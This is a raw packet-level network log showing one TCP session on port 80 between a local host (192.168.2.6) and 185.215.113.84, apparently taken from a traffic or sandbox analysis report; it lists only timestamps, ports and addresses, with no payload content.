Oct 26, 2024 07:27:12.129112959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129127979 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129157066 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129179955 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129251957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129261017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129268885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129276991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129285097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129301071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129313946 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129323959 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129324913 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129333973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129340887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129348993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129354954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129355907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129371881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129374981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129380941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129389048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129389048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129406929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129415989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129417896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129424095 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129434109 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129445076 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129447937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129456997 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129471064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129473925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129481077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129488945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129497051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129503965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129509926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129509926 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129512072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129519939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129538059 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129544020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129554987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129563093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129574060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129581928 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129590988 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129591942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129600048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129605055 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129609108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129616976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129626036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129631996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129632950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129642010 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129650116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129657984 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129657984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129668951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129674911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129678011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129695892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129702091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129707098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129723072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129728079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129733086 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129748106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.129755020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129777908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.129792929 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130074024 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130084991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130228996 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130239010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130244017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130253077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130260944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130268097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130283117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130287886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130291939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130307913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130312920 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130316973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130332947 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130333900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130342007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130356073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130359888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130367994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130376101 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130386114 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130394936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130409956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130410910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130419970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130431890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130434990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130444050 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130458117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130461931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130465984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130475044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130481958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130490065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130503893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130506039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130512953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130525112 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130536079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130544901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130548954 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130553961 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130563021 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130577087 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130578041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130592108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130599976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130601883 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130609035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130620956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130625963 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130634069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130641937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130649090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130649090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130666018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130672932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130676031 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130681038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130690098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130705118 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130713940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130731106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130738020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130750895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130753994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130763054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130773067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.130789995 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.130821943 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131068945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131078005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131084919 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131092072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131099939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131112099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131115913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131124020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131124020 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131133080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131141901 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131150007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131158113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131161928 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131165981 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131175041 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131182909 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131190062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131191015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131198883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131211042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131218910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131225109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131227970 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131243944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131244898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131253004 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131267071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131270885 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131275892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131283998 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131293058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131299973 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131299973 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131308079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131309986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131329060 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131329060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131337881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131346941 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131347895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131366968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131373882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131375074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131391048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131397009 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131400108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131422043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131424904 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131433964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131441116 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131447077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131450891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131460905 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131467104 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131469011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131478071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131484985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131490946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131494045 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131498098 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131503105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131517887 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131525993 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131526947 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131535053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131544113 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131552935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131560087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131561041 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131570101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131578922 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131594896 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131613016 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.131947994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131958008 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131973028 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131979942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.131995916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132003069 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132004976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132020950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132029057 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132031918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132036924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132045031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132052898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132050037 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132062912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132086039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132086992 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132095098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132102966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132108927 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132111073 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132119894 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132127047 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132128954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132141113 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132147074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132157087 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132164001 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132170916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132172108 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132181883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132189989 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132196903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132200956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132220030 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132241011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132252932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132261038 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132268906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132277012 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132283926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132297039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132301092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132309914 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132322073 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132324934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132333994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132340908 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132344961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132349014 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132358074 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132368088 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132375956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132385969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132391930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132392883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132404089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132411957 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132416010 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132421017 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132436991 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132438898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132446051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132453918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132462025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132469893 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132486105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132488012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132494926 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132503033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132508993 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132535934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132822037 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132831097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132847071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132855892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132870913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132874966 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132879019 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132891893 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132910967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.132972956 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132981062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.132996082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133003950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133011103 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133024931 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133029938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133038044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133044958 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133047104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133057117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133073092 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133073092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133083105 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133091927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133100033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133100033 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133125067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133125067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133135080 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133135080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133145094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133152962 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133161068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133167982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133168936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133183956 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133186102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133194923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133203030 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133208990 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133212090 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:12.133228064 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:12.133229017 CEST	80	49991	185.215.113.84	192.168.2.6
